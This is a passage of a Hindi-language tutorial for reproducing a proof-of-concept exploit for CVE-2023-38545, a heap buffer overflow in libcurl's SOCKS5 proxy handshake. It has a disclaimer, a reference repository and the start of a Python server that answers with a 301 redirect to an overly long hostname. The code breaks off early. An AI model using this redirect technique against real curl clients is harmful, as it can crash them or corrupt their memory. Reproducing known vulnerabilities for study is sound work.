
CVE-2023-38545 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, libcurl के SOCKS5 प्रॉक्सी हैंडशेक में हीप बफर ओवरफ्लो, जो अत्यधिक बड़े होस्टनाम के साथ दुर्भावनापूर्ण HTTP 301 रीडायरेक्ट के माध्यम से ट्रिगर होता है।
यह लेख केवल तकनीकी चर्चा और सीखने के उद्देश्य से है। इस दस्तावेज़ में दी गई जानकारी के उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और नुकसान की जिम्मेदारी उपयोगकर्ता की होगी, लेखक इसके लिए कोई जिम्मेदारी नहीं लेता है।
संदर्भ प्रोजेक्ट: https://github.com/UTsweetyfish/CVE-2023-38545 एक बार पुनः प्रस्तुत करना
1. python फ़ाइल बनाएँ:server.py,एक वेब सेवा खोलें जो अत्यधिक लंबे होस्टनाम के साथ 301 प्रतिक्रिया लौटाती है,पोर्ट 8000 पर सुनें,फिर python3 से चलाएँ:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 301重定向到超长的URL
self.send_response(301)